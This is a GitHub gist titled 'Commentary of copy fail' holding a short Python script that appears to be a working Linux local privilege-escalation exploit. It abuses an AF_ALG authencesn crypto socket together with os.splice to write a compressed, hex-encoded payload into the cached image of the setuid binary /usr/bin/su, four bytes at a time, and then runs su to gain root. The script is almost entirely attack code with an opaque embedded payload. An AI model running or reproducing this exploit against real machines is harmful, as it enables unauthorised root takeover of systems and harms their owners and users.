Created
April 30, 2026 12:58
-
-
Save koron/6b2a934010ab0289ff1b44ff778abd05 to your computer and use it in GitHub Desktop.
Commentary of copy fail
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| import os | |
| import zlib | |
| import socket | |
| def d(x): | |
| return bytes.fromhex(x) | |
| # invalid option level: 279 | |
| LEVEL = 279 | |
| DEBUG_VALUE = d('0800010000000010'+'0'*64) | |
| NUL = d('00') | |
| ANCDATA = [(LEVEL, 3, NUL*4), (LEVEL, 2, b'\x10'+NUL*19), (LEVEL, 4, b'\x08'+NUL*3)] | |
| def c(f, t, c): | |
| a = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0) | |
| a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) | |
| a.setsockopt(LEVEL, socket.SO_DEBUG, DEBUG_VALUE) | |
| a.setsockopt(LEVEL, socket.SO_DONTROUTE, None, 4) | |
| conn, _ = a.accept() | |
| conn.sendmsg([b"A"*4+c], ANCDATA, 32768) | |
| # f -> (pipe: pipe_w -> pipe_r) -> (socket: conn) -> recv | |
| pipe_r, pipe_w = os.pipe() | |
| os.splice(f, pipe_w, t + 4, offset_src = 0) | |
| os.splice(pipe_r, conn.fileno(), t + 4) | |
| try: | |
| conn.recv(8 + t) | |
| except: | |
| # Suppressing exception: "OSError: [Errno 74] Bad message" | |
| 0 | |
| f = os.open("/usr/bin/su", 0) | |
| e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) | |
| for i in range(0, len(e), 4): | |
| c(f, i, e[i:i+4]) | |
| os.system("su") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment